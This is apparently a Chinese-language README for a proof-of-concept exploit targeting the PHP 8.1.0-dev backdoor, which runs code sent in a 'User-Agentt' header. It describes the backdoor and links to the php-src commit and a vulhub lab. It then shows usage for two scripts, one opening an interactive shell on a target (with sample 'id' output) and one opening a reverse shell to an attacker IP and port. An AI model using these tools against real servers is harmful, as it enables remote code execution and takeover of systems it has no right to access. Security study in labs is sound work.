PHP 8.1.0-dev 后门远程代码执行

PHP 8.1.0-dev 后门系统 Shell 脚本

PHP 8.1.0-dev 版本于 2021 年 3 月 28 日发布时内置了一个后门，但该后门很快被发现并移除。如果服务器运行此版本的 PHP，攻击者可通过发送 User-Agentt 头来执行任意代码。

问题被发现后，原始代码已被恢复，但随后又遭到第二次篡改。该入侵会在任何运行了被篡改版本 PHP 的网站上创建后门，使黑客能够在站点上执行远程代码。

阅读完整文章：https://flast101.github.io/php-8.1.0-dev-backdoor-rce/

POC 脚本

这份简短的漏洞利用脚本 backdoor_php_8.1.0-dev.py 利用该后门在主机上提供一个伪系统 Shell。可在 Exploit DB 上找到它。

• 漏洞利用标题： PHP 8.1.0-dev 后门远程代码执行
• 日期： 2021 年 5 月 23 日
• 漏洞利用作者： flast101
• 厂商主页： https://www.php.net/
• 软件链接： https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
• 测试版本： 8.1.0-dev
• CVE : N/A
• 漏洞参考：
  https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
  https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

用法：

┌──(user㉿kali)-[~/Documents]
└─$ python3 backdoor_php_8.1.0-dev.py
  
Enter the host url:
http://a.b.c.d

Interactive shell is opened on http://a.b.c.d 
Can't acces tty; job crontol turned off.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

反弹 Shell

这份简短的漏洞利用脚本 revshell_php_8.1.0-dev.py 可在目标上提供反弹 Shell。

用法：

┌──(user㉿kali)-[~/Documents]
└─$ python3 revshell_php_8.1.0-dev.py <target URL> <attacker IP> <attacker PORT>

保持好奇，学习就是生活！ 😃